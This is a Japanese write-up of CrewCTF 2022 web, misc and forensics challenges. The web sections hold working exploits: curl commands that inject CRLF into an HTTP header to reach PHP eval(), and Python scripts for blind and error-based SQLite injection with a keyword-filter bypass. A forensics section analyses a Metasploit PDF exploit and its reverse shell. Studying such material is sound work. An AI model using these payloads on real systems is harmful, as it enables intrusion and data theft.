4/16 - 4/18という日程で開催された。まともにCTFに参加するのは2/12のHayyim CTF 2022からおよそ2ヶ月ぶりで心配だったのだけれども、そこそこ解けてよかった。zer0ptsで参加して2位。
- [Web 118] CuaaS (90 solves)
- [Web 633] Marvel Pick (31 solves)
- [Web 738] Marvel Pick Again (24 solves)
- [Misc 767] Paint (22 solves)
- [Misc 821] Air(wave)-gap (18 solves)
- [Forensics 100] Corrupted (191 solves)
- [Forensics 142] Policy Violation Pt.1 (81 solves)
- [Forensics 648] Policy Violation Pt.2 (30 solves)
- [Forensics 353] Screenshot Pt.1 (51 solves)
- [Forensics 498] Screenshot Pt.2 (40 solves)
- [Forensics 513] Screenshot Pt.3 (39 solves)
- [Forensics 767] Em31l Pt.1 (22 solves)
- [Forensics 906] Em31l Pt.2 (11 solves)
[Web 118] CuaaS (90 solves)
URLを入力するフォームがある。サーバ側の処理はこんな感じ。X-Original-URL
というヘッダに入力したURLを持って http://127.0.0.1/cleaner.php
にHTTPリクエストを送ってくれる。
stream_context_create
のドキュメントと、そこから参照されているオプションの一覧を見ればわかるように、header
は配列だけでなく文字列も許容する。文字列の場合にはCRLFで区切ることで複数のヘッダを送信できる。
この問題ではユーザ入力である $_POST['url']
が最終的に "X-Original-URL: $uncleanedURL"
とヘッダに展開されているが、当然ながらCRLFも仕込める。HTTPヘッダインジェクションだ。
<?php if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url'])) { clean_and_send($_POST['url']); } function clean_and_send($url){ $uncleanedURL = $url; // should be not used anymore $values = parse_url($url); $host = explode('/',$values['host']); $query = $host[0]; $data = array('host'=>$query); $cleanerurl = "http://127.0.0.1/cleaner.php"; $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [ 'method' => 'POST', 'header' => "X-Original-URL: $uncleanedURL", 'content' => http_build_query($data) ] ])); echo $stream; } ?>
このHTTPヘッダインジェクションで何ができるかというのは cleaner.php
を見るとわかる。X-Visited-Before
というヘッダの値が eval
される。
<?php if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ die("<img src='https://imgur.com/x7BCUsr.png'>"); } echo "<br>There your cleaned url: ".$_POST['host']; echo "<br>Thank you For Using our Service!"; function tryandeval($value){ echo "<br>How many you visited us "; eval($value); } foreach (getallheaders() as $name => $value) { if ($name == "X-Visited-Before"){ tryandeval($value); }} ?>
あとはやるだけ…かと思いきや、php.ini
の disable_functions
で proc_open
や system
などOSコマンドが実行できそうな関数が禁止されている。
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority
ただ、glob
とか file_get_contents
は禁止されていないので、ファイルを読む分には困らない。glob
でルートディレクトリを見たら /maybethisistheflag
というそれっぽいファイルがあった。この中にフラグが書かれていた。
$ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: var_dump(glob('/*'));" … <br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us array(20) { [0]=> string(4) "/bin" [1]=> string(5) "/boot" [2]=> string(4) "/dev" [3]=> string(4) "/etc" [4]=> string(5) "/home" [5]=> string(4) "/lib" [6]=> string(6) "/lib64" [7]=> string(19) "/maybethisistheflag" [8]=> string(6) "/media" [9]=> string(4) "/mnt" [10]=> string(4) "/opt" [11]=> string(5) "/proc" [12]=> string(5) "/root" [13]=> string(4) "/run" [14]=> string(5) "/sbin" [15]=> string(4) "/srv" [16]=> string(4) "/sys" [17]=> string(4) "/tmp" [18]=> string(4) "/usr" [19]=> string(4) "/var" } … $ curl http://…/ -d "url=hoge%0d%0aX-Visited-Before: echo file_get_contents('/maybethisistheflag');" … <br>There your cleaned url: <br>Thank you For Using our Service!<br>How many you visited us crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG} …
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
[Web 633] Marvel Pick (31 solves)
キャラクターに投票できるWebアプリケーションが与えられている。スパイダーマンが大人気。以下のクライアント側のコードを見ればわかるように、/api.php?character=spiderman
みたいな感じでGETするとキャラクターの投票数が得られ、/api.php
へのPOSTで投票ができる。
const marvel = [ 'spiderman', 'ironman', 'captainamerica', 'nickfury' ] function fetchMarvelVotesCount (marvel) { fetch(`/api.php?character=${marvel}`) .then(response => response.json()) .then(results => { const vote_count_html = document.querySelector(`#vote-count-${marvel}`) const total_vote = results.data.vote_count if (total_vote > 1) { vote_count_html.innerHTML = `${total_vote} Votes` } else { vote_count_html.innerHTML = `${total_vote} Vote` } }) } function vote (marvel) { const formData = new FormData() formData.append('character', marvel) fetch('/api.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(result => { if (result.success) { fetchMarvelVotesCount(marvel) alert('successful voting') } else { alert(result.error) } }) .catch(error => { alert('error'); }); } marvel.forEach(item => { fetchMarvelVotesCount(item) })
/api.php?character=%27
にアクセスしてみると以下のようなエラーが出た。SQLiだ。
Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "'''" in /var/www/api.php:75 Stack trace: #0 /var/www/api.php(75): PDO->query('SELECT * FROM c...') #1 {main} thrown in /var/www/api.php on line 75
色々試すと以下のような結果になった。左側は character
に突っ込んだ文字列、右側は OK
ならエラーが起こらなかった、NG
ならエラーが発生したという意味。
'or' : OK 'or(1)or' : NG '||1||' : OK '||(1)||' : OK 'hoge' : NG '||(sqlite_version())||' : OK
AselectB
をキャラクター名とすると {"success":true,"data":{"name":"AB","vote_count":0}}
というようなレスポンスが返ってきた。AnekoB
はそのままなので、select
のようなSQLiに使えそうなキーワードが消されているっぽい。ほかには where
, substr
, case
が削除されることが確認できた。ついでにいえば -
も使えない。
sselectelect
をキャラクター名とすると {"success":true,"data":{"name":"select","vote_count":0}}
というレスポンスが返ってくる。こんな感じでバイパスができる。
'union selselectect'a',
で vote_count
が1に、'union selselectect'a','' union sselectelect '','
で2に増えた。vote_count
はレコード数になっているっぽい。これをoracleとしてBlind SQLiができそう。できた:
import requests URL = 'http://…/api.php' def query(q): payload = f"' union select 'a','' where ({q}) union select '','" payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect') r = requests.get(URL, params={ 'character': payload }) return r.json()['data']['vote_count'] == 2 print(query('1 > 2')) # False print(query('2 > 1')) # True
あとはやるだけ。sqlite_master
から sql
を抜き出すexploitを書く。
import requests URL = 'http://…/api.php' def query(q): payload = f"' union select 'a','' where ({q}) union select '','" payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr') r = requests.get(URL, params={ 'character': payload }) return r.json()['data']['vote_count'] == 2 i = 1 res = '' while True: c = 0 for j in range(7): if query(f'unicode(substr((select group_concat(sql) from sqlite_master), {i}, 1)) & {1 << j}'): c |= 1 << j res += chr(c) print(i, res) i += 1
動かすとテーブルのデータが抜けた。flags
というテーブルがあるっぽい。
$ python3 exp.py … 152 CREATE TABLE characters ( id integer PRIMARY KEY, name text NOT NULL ),CREATE TABLE flags ( id integer PRIMARY KEY, value text NOT NULL ) …
select value from flags
でフラグが得られた。
crew{so_its_n0t_on3_line_for_exp}
[Web 738] Marvel Pick Again (24 solves)
Marvel Pickのリベンジ。今度はキャラクター名が76文字以上であれば弾かれるようになった。コードゴルフの時間だ。
'|abs(case when ({q}) then ~9223372036854775807 else 0 end)|'
: SQLiteではabs
に-9223372036854775808
を与えるとエラーが発生する性質を利用して、Error-Basedにやる'|abs(({q})+~9223372036854775807)|'
:{q}
が0
以外ならエラーが発生することさえ変わっていなければよい。CASE式を使わないようにする'|abs(({q})+(2<<62))|'
:-9223372036854775808
をなんとかできないかとDiscordに投げたら、ふるつきさんから2**63
をゴニョゴニョできないかというアドバイスが返ってきた。左シフトでいけた
あとは雑にブルートフォースをやるだけ。
import requests URL = 'http://…/api.php' def query(q): payload = f"'|abs(({q})+(2<<62))|'" payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr').replace('case', 'ccasease') r = requests.get(URL, params={ 'character': payload }) #print('len:', len(payload)) return '1 integer overflow' in r.text i = 1 res = '' while True: for c in range(0x20, 0x7f): #if query(f"substr('abc',{i},1)>char({c})"): if query(f"substr((select value from flags),{i},1)>'{chr(c)}'"): res += chr(c) break print(i, res) i += 1
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}
[Misc 767] Paint (22 solves)
I made a drawing program for my PS4 Pro and I drew a really pretty picture, but then it crashed! Thankfully I managed to capture some traffic via my computer, could you recover the drawing for me?
というような問題文にpcapがついてきている。pcapのパケットは全部USBのもので、要はUSB接続のDUALSHOCK 4でお絵かきした様子をキャプチャしたので、どんな絵が描かれたか復元してみろという感じ。パケットの構造はググったら出た。
まずpcapを扱いやすい形にする。tshark -r paint.pcap -Y 'usb.capdata' -T json -e frame.time -e usb.capdata > log.json
で以下のようなJSONに変換する。
[ { "_index": "packets-2022-04-12", "_type": "doc", "_score": null, "_source": { "layers": { "frame.time": [ "Apr 12, 2022 02:14:44.497255000 JST" ], "usb.capdata": [ "017c7c7b7b0800000000000000000000000000000000000000000000000007000000008000000080000000008000000080000000008000000080000000008000" ] } } }, … ]
以前Switchのプロコンで似たようなことをしたときのコードを改造する。
import binascii import collections import json import struct import time import pygame Frame = collections.namedtuple('Frame', 'report_id left_x left_y right_x right_y button1 button2 counter l2 r2 timestamp battery_level gyro_x gyro_y gyro_z accel_x accel_y accel_z unknown1 unknown2 unknown3 unknown4 unknown5') def parse(s): b = binascii.unhexlify(s) f = Frame._make(struct.unpack('bBBBBbbbbbhbhhhhhhiQQQQ', b)) return f with open('log.json', 'r') as f: log = json.load(f) parsed_frames = [ parse(frame['_source']['layers']['usb.capdata'][0]) for frame in log ] pygame.init() screen = pygame.display.set_mode((630, 80)) font = pygame.font.SysFont(None, 24) i = 0 l = len(parsed_frames) running = False left_x = 10 left_y = 50 sensitivity = .2 while True: # render! if running: frame = parsed_frames[i] left_move_x = (frame.left_x - 127) / 127 * sensitivity left_x += left_move_x left_move_y = (frame.left_y - 127) / 127 * sensitivity left_y += left_move_y print(left_x, left_y, left_move_x, left_move_y) if frame.button1 & 0x20: # X button color = (192, 192, 255) else: color = (32, 32, 32) pygame.draw.circle(screen, color, (int(left_x), int(left_y)), 1) pygame.display.update() # moromoro! for event in pygame.event.get(): if event.type == pygame.KEYDOWN: if event.key == pygame.K_SPACE: running = not running elif event.type == pygame.QUIT: pygame.quit() break if running: i += 1 time.sleep(.001) if i >= l: running = False
実行するとこんな感じ:
画像版:
crew{51ck_dr4w1n9_br0}
./VespiaryのArkさんの解法が大変シンプルでびっくりした。Gallimaufry
という便利ライブラリがあるらしい。
misc/Paint:
— Ark (@arkark_) 2022年4月17日
これを実行。終了 pic.twitter.com/7gOtoVTohd
[Misc 821] Air(wave)-gap (18 solves)
次のようなコードが与えられている。
import RPi.GPIO as GPIO from time import sleep from os import system from sys import argv startup_time = 60 bit_length = 10 led_pin = 13 pwm_freq = 8000 get_bin = lambda x, n: format(x, 'b').zfill(n) with open('flag.txt', 'r') as f: flag = bytearray(f.read().strip().encode()) bits = '' for byte in flag: bits += get_bin(byte, 8) # Setup GPIO pins GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(led_pin,GPIO.OUT) pi_pwm = GPIO.PWM(led_pin, pwm_freq) pi_pwm.start(0) system('echo none | sudo tee /sys/class/leds/led0/trigger >/dev/null') # Take control of led0 # Starting the fan idling to not draw any suspicion pi_pwm.ChangeDutyCycle(100) print(f'[*] Waiting {startup_time}s before transmitting...') sleep(startup_time) print(f'[*] Now transmitting data...') system('echo 1 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Enable led0 when transmitting for i, bit in enumerate(bits, 1): # Fancy logging no one will ever see :( print('[{}] Transmitting bit {}/{}'.format("/-\|"[i%4], i, len(bits)), end='\r') power = 20 if bit == '0' else 100 pi_pwm.ChangeDutyCycle(power) sleep(bit_length) print('[+] Done transmitting data!') system('echo 0 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Disable led0 when done
RasPiを使ってLEDで情報を送ろうとしている。しらんけど。フラグを送信している様子を撮影した動画も与えられているが、LEDの光り方がまるで変わってないように見える。
ただ、音声に注目すると、ファンがうるさくなったり静かになったりを繰り返していることがわかる。
Audacityを使って、うるさいときを1、静かなときを0として、10秒区切りで1ビットずつ送信していると見てデータの復元をしてみる。すると、最初の16ビットについて 01000011 01110010
、つまり cr
と送信されていることが確認できた。
動画は1時間以上もあるので、すべて手作業でやるのは無理がある。自動化できないか「Python 音量」でググるといい感じの記事がヒットした。これを参考にスクリプトを書く。
# coding: utf-8 # (ref. https://heartstat.net/2021/05/15/python_calc-volume/) import wave import numpy as np import librosa if __name__ == "__main__": hop_length = 1000 wave_file = wave.open('a.wav', 'rb') sr = wave_file.getframerate() wave, sr = librosa.load('a.wav', sr=sr, mono=True) rms = librosa.feature.rms(y=wave, hop_length=hop_length) samples_per_second = int(sr / hop_length) l = len(rms[0]) r = [] for i in range(0, l, sample_per_second * 10): x = np.average(rms[0][i:i + samples_per_second * 10]) r.append(x) print(r)
ffmpeg -i CCTV.mp4 a.wav
で動画をwavに変換し、Audacityなどで送信が始まる1分18秒以降だけを切り取る。そんでもってさっきのスクリプトを実行する。
その出力をもとに、しきい値を手作業で探すHTMLを作る。
<body> <style> input[type=range] { width: 100%; } </style> <pre id="out">0.5</pre> <input type="range" id="threshold" min="0" max="0.05" step="0.0001"> <script> const r = [0.03109114, 0.051917966, 0.05427564, 0.029296855, 0.030157499, 0.030233292, 0.05508561, 0.054486, 0.034192815, 0.052840784, 0.06011493, 0.060120318, 0.033423543, 0.03062686, 0.05439334, 0.02869172, 0.033377744, 0.051349096, 0.056085087, 0.032007955, 0.029963171, 0.05745692, 0.029698832, 0.04548151, 0.03198812, 0.048319746, 0.04500549, 0.04316423, 0.029354772, 0.04617504, 0.052881144, 0.047145464, 0.029194003, 0.04698511, 0.043547634, 0.046218704, 0.046382885, 0.030563615, 0.05041298, 0.05214699, 0.03326046, 0.04734409, 0.04569537, 0.0461114, 0.051981386, 0.031742383, 0.030895818, 0.05785249, 0.032775268, 0.031857777, 0.056210425, 0.046177153, 0.030586628, 0.029812979, 0.032853205, 0.03330558, 0.030313151, 0.053671457, 0.053401217, 0.054217044, 0.037971184, 0.048968274, 0.026410075, 0.042924874, 0.03435536, 0.05499195, 0.033400062, 0.05693797, 0.04946198, 0.048835445, 0.04690206, 0.04800403, 0.03231143, 0.05821715, 0.031108567, 0.02915096, 0.030611793, 0.052722976, 0.0294277, 0.030398974, 0.02851251, 0.02974574, 0.051157534, 0.05049246, 0.03024685, 0.029794741, 0.030769305, 0.042797588, 0.030681584, 0.045991085, 0.050098434, 0.035819832, 0.03289533, 0.05085029, 0.037870597, 0.031284206, 0.030228226, 0.05148368, 0.0323253, 0.03231474, 0.05140263, 0.046026748, 0.05405606, 0.032143224, 0.030277975, 0.030520046, 0.047758445, 0.052016005, 0.030754907, 0.049182843, 0.04910155, 0.04821784, 0.031271912, 0.04837303, 0.03270534, 0.044158265, 0.053219255, 0.05885423, 0.053810194, 0.05929017, 0.03354276, 0.052582774, 0.032458656, 0.029847316, 0.032280806, 0.046467368, 0.030648129, 0.031922445, 0.0398943, 0.031480543, 0.050360695, 0.057928246, 0.032836363, 0.027877888, 0.028344354, 0.029052997, 0.029131373, 0.047402494, 0.035221778, 0.04165406, 0.04909277, 0.048176162, 0.04824836, 0.050107796, 0.03028872, 0.030269913, 0.047774274, 0.050438747, 0.035256602, 0.063244596, 0.055620417, 0.05964478, 0.039838832, 0.046088807, 0.03176373, 0.027969003, 0.045254175, 0.03241503, 0.03176827, 0.03205968, 0.031216962, 0.030733835, 0.051610686, 0.053065315, 0.033610955, 0.044081233, 0.030633263, 0.027836548, 0.028877558, 0.03004429, 0.049962126, 0.055439457, 0.035204843, 0.052955184, 0.049989853, 0.051381603, 0.03242231, 0.045439593, 0.032090474, 0.04837672, 0.04664822, 0.051533993, 0.05217813, 0.04952046, 0.032888867, 0.05138201, 0.05560084, 0.031248441, 0.046841133, 0.047658343, 0.030512452, 0.050112955, 0.035784308, 0.029804746, 0.05153021, 0.052125502, 0.03740118, 0.051789865, 0.033992056, 0.030227834, 0.02991722, 0.04817538, 0.049158726, 0.03548467, 0.047920663, 0.04400246, 0.055371627, 0.034000453, 0.030795276, 0.042289153, 0.052264724, 0.05421257, 0.034332253, 0.052279808, 0.03168502, 0.046024483, 0.033230867, 0.031739775, 0.04714988, 0.049973942, 0.036351725, 0.047548316, 0.036481973, 0.03043402, 0.033051245, 0.027813077, 0.04607419, 0.046707373, 0.038584933, 0.029637797, 0.026961306, 0.049338162, 0.032543562, 0.028120836, 0.04809667, 0.054391988, 0.032196876, 0.02768145, 0.028926453, 0.04980447, 0.033621475, 0.05163493, 0.035280958, 0.050804432, 0.052894376, 0.033309888, 0.02567325, 0.05635422, 0.033173714, 0.051140033, 0.035497386, 0.04880439, 0.05151053, 0.056308065, 0.05138659, 0.05059445, 0.030500608, 0.050188486, 0.054534707, 0.050064262, 0.031873528, 0.032092772, 0.047697727, 0.03510121, 0.03128316, 0.031608887, 0.049018446, 0.04082197, 0.039561383, 0.032087367, 0.029052556, 0.0502304, 0.032574784, 0.028563011, 0.04863945, 0.047270942, 0.056177434, 0.037684273, 0.033231426, 0.050361935, 0.03445702, 0.04478277, 0.03220858, 0.032497916, 0.049155038, 0.037317444, 0.03155347, 0.033836987, 0.034131687, 0.029117038, 0.04922111, 0.050145317, 0.031666223, 0.046917796, 0.057505216, 0.05332817, 0.032210108, 0.03129516, 0.049740918, 0.048465166, 0.05278027, 0.06065658, 0.05249446, 0.05311162, 0.036331717, 0.044876166, 0.034747474, 0.054406922, 0.04974051, 0.05750928, 0.04973552, 0.050145615, 0.03567187, 0.030130923, 0.048915606, 0.047463443, 0.031890206, 0.046976764, 0.04983057, 0.059587657, 0.0340419, 0.04442417, 0.036353722, 0.026804993, 0.043534305, 0.031356018, 0.030027095, 0.02983918, 0.030410219, 0.0292907, 0.04407861, 0.057921376, 0.039071478, 0.050725568, 0.03176458, 0.029489286, 0.02723292, 0.029296521, 0.03675685, 0.047404565, 0.030471634, 0.035037074, 0.035309862, 0.033822104, 0.02942725, 0.036841642, 0.0340341, 0.04923991, 0.055422425, 0.04978769, 0.05032366, 0.052880984, 0.038565274, 0.050258335, 0.03437104, 0.0453561, 0.03797955, 0.04787532, 0.04892038, 0.03940308, 0.032181866, 0.026687585, 0.03408535, 0.037301436, 0.030613845, 0.026691275, 0.028804766, 0.029267307, 0.026775122, 0.035257705, 0.031653427, 0.046582658, 0.035511438, 0.04330709, 0.037255373, 0.046610348, 0.039154988, 0.030850964, 0.04677705, 0.050687987, 0.03376512, 0.03093425, 0.033439685, 0.03350984, 0.02975067, 0.04038527, 0.03543177, 0.029384792, 0.027229555, 0.037502173, 0.03446604, 0.028954217, 0.027945817, 0.037588246, 0.033176813, 0.036248017, 0.03778294, 0.040035255, 0.040894035, 0.0493297, 0.03812627, 0.048053876, 0.052058432, 0.057569362, 0.03663437, 0.03180587, 0.045413993, 0.051277034, 0.035509314, 0.0463631, 0.05490951, 0.04706955, 0.03870221, 0.045918774, 0.034223415, 0.04454861, 0.035130396, 0.04357964, 0.033637453, 0.028411483, 0.027940921, 0.02995873, 0.037817407, 0.0389371, 0.03003042, 0.036119837, 0.037297692, 0.029403526, 0.035465997, 0.03215643, 0.041249387, 0.04320407, 0.031146342, 0.041716397, 0.04195443, 0.050066955, 0.051361695, 0.04842278, 0.032965027, 0.043740153, 0.029150426, 0.019015612, 0.01932527, 0.020082066]; const o = document.getElementById('out'); const v = document.getElementById('threshold'); v.oninput = () => { const t = parseFloat(v.value); const s = r.map(e => (e > t ? '1' : '0')).join(''); const d = String.fromCharCode(...s.match(/.{8}/g).map(e => parseInt(e, 2))); o.innerText = `${v.value.padEnd(6)} ${d}`; }; </script> </body>
スライダーをいじっていると、0.04をしきい値として設定した場合に8割程度フラグが得られた。
残りはVLC Playerを使って、4倍速で聞きつつ手作業で頑張るとフラグが得られた。古のSECCONみを感じる問題だった。
crew{y0u_D1dN7_D0_7H47_m4nu411Y_r19H7?_7H47_W0U1D_suCk}
[Forensics 100] Corrupted (191 solves)
Corrupted.001
というファイルが与えられる。バイナリエディタで眺めていたら 0x58a000
以降になんかPNGがあった。
$ python3 … >>> a = open('Corrupted.001','rb').read() >>> open('a.png','wb').write(a[0x58a000:]) 46624768
crew{34sY_C0rrupt3D_GPT}
[Forensics 142] Policy Violation Pt.1 (81 solves)
One of our employees violate the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?
Q1. What is the CVE Number and Date of exploit? Example: crew{CVE-XXXX-XXXX_Date:MM.D.YY}
Author: 0xSh3rl0ck#7219
という問題文とともに Image.E01
というファイルが与えられる。FTK Imagerで開いてファイルを眺めていると、[root]\$RECYCLE.BIN\S-1-5-21-321011808-3761883066-353627080-1000\
下にふたつほどPDFがあった。バイナリエディタで見ると RD5UESN.pdf
がめちゃくちゃ怪しい。
適当にストリームを展開してみると、以下のような文字列が出てきた。
$ python3 Python 3.8.10 (default, Nov 26 2021, 20:14:08) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import zlib >>> s = open('$RD5UESN.pdf', 'rb').read() >>> zlib.decompress(s[0x1fc:]) b'0a 20 20 20 20 76 61 72 20 61 79 64 41 …'
これをさらにデコードすると怪しいJSコードが出てくる。util.printf("%45000.45000f", 0);
で終わっているが、これはどうやらCVE-2008-2992っぽい。
フラグフォーマットは crew{CVE-XXXX-XXXX_Date:MM.D.YY}
とのことだが、日にちの方がわからない。"Date of exploit" とは。色々試していると、NVD Published Dateの2008年11月4日が正解だった。
crew{CVE-2008-2992_Date:11.4.08}
[Forensics 648] Policy Violation Pt.2 (30 solves)
One of our employees violated the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?
Q2. What is the sha1sum of the attacker IP ?
Example: crew{SHA-1(IP)} crew{ea424d38af72dd1366a08aad1f47eca3e7ec3d24}
という問題文で、添付ファイルはPt.1と同じ。さっきのexploitを解析する必要があるらしい。先程見つけたMetasploitのモジュールのコードとPDFに仕込まれているJSコードを比較すると、MetasploitによってPDFが生成されたことがわかる。
テンプレートの1行目の var #{rand1} = unescape("#{shellcode}");
から、unescape
の引数がシェルコードであるとわかる。デコードに手間取っていたところ、ptr-yudaiさんがいい感じにやってくれた。
どうせペイロードの生成には windows/meterpreter/reverse_tcp
を使っているのだろうと、Ghidraを使いつつデコードされたペイロードと、そのモジュールのコードとを比較してみたところ、どうやら本当にそうっぽかった。
IPアドレスを push
している箇所を特定して終わり。IPアドレスは 192.168.1.30
だ。
crew{265180387f1642217973f8cfda2ca6cc92d48e60}
[Forensics 353] Screenshot Pt.1 (51 solves)
We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?
Q1. What is the Name of the secret file (without extension)?
example flag: crew{{12345678-90AB-CDEF-GHIJ-KLMNOPQRSTUV}}
Author: 0xSh3rl0ck#7219
という問題文とともに、ScreenShot.ad1
というファイルが与えられる。FTK Imagerでこれを開いて、ファイルの一覧をCSV形式で出力する。フラグ形式を見る限りファイル名は [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}
というような形式に拡張子を加えたもののはず。
{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png 1400277 2022-Apr-03 19:11:38.374945 2022-Apr-02 01:10:01.816000 2022-Apr-03 19:11:38.374945 no 4302a193d34c126865bc501589b58f13 3d714cdbe607e431399c10e5a23291c3394d01f7
crew{{19422F1B-6C19-4190-9674-0D1C5AEC5451}}
[Forensics 498] Screenshot Pt.2 (40 solves)
We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?
Q2. What is the MD5 hash of the associated LNK File ?
example flag: crew{5f4dcc3b5aa765d61d8327deb882cf99}
Same file as in Pt. 1
Author: 0xSh3rl0ck#7219
Pt.1で出力したファイルの一覧で lnk
をgrepする。Pt.1で見つけたファイルに関連するアプリである ScreenSketch
を呼び出しそうなやつがそれ。
ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Roaming\Microsoft\Windows\Recent\ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk 494 2022-Apr-03 19:11:42.969115 2022-Apr-02 01:10:02.046000 2022-Apr-03 19:11:42.969115 no fd483445cf5e5b0e2b061f4b1defa841 795746b73b0548ca05f764707cf94d002fe56fa9
crew{fd483445cf5e5b0e2b061f4b1defa841}
[Forensics 513] Screenshot Pt.3 (39 solves)
Pt.1で見つけた画像に書かれている文字列をBase64デコードしたらいけた。
crew{Tr4ck1ng_scr33nsh0ts_w1th_LNK_f1l3s}
[Forensics 767] Em31l Pt.1 (22 solves)
Can you help me to examine this mail? Q1: I think that the suspect deleted something from it can you tell me what is it? Flag Format: crew{the deleted thing with :}
という問題文とともに HelpMe!.eml
というファイルが与えられる。GmailからYahoo.comのメールアドレスに送られたメールだ。
とりあえず自分でもGmailからYahoo.comのメールアドレスに適当にメールを送ってみる。ヘッダを HelpMe!.eml
と比較してみたところ、HelpMe!.eml
には X-Gm-Message-State
がなかった。
crew{X-Gm-Message-State:}
[Forensics 906] Em31l Pt.2 (11 solves)
Q2: After you Examined the first part can you tell me what is the word that he replaced it with "lost"?
Flag Format: crew{word}
Same file as in Em31l (1)
Author: 0xSh3rl0ck#7219
という問題文が与えられている。さっきの eml
ファイルに含まれるメールの本文は次のような感じだった。この lost
になにか別の単語が入るということだと思う。
Hey, crushed kiwi I hate this loop of college, and I need your help. Can you meet me at lost immediately?
送信元/送信先のメールアドレスからなんらかの情報が得られないか試してみたり、ヘッダになにか情報が残っていないか探してみたものの収穫はなし。
あまりの情報のなさにブルートフォースしたくなるも、
そこからアイデアが浮かんだ。このメールには DKIM-Signature
というヘッダが含まれているので、それを使えないか。
DKIMには bh
というタグに本文のハッシュ値が含まれているらしい。あとはブルートフォースでなんとかする。
import base64 import hashlib import re s = open('HelpMe!.eml', 'rb').read() bh = base64.b64decode('5AqaoLYxMopB/cECaLwYX3ZR0XSAPW38Fwpy5WHeO2M=') with open('/usr/share/dict/rockyou.txt', 'rb') as f: words = f.readlines() for word in words: word = word.strip() body = s[s.index(b'--'):] body = body.replace(b'lost', word) body = body.strip() + b'\r\n' try: hash = hashlib.sha256(body).digest() except: continue if hash == bh: print(word)
これで lost
に当てはまるのは abay
という単語だとわかった。
$ python3 solve.py b'abay'
crew{abay}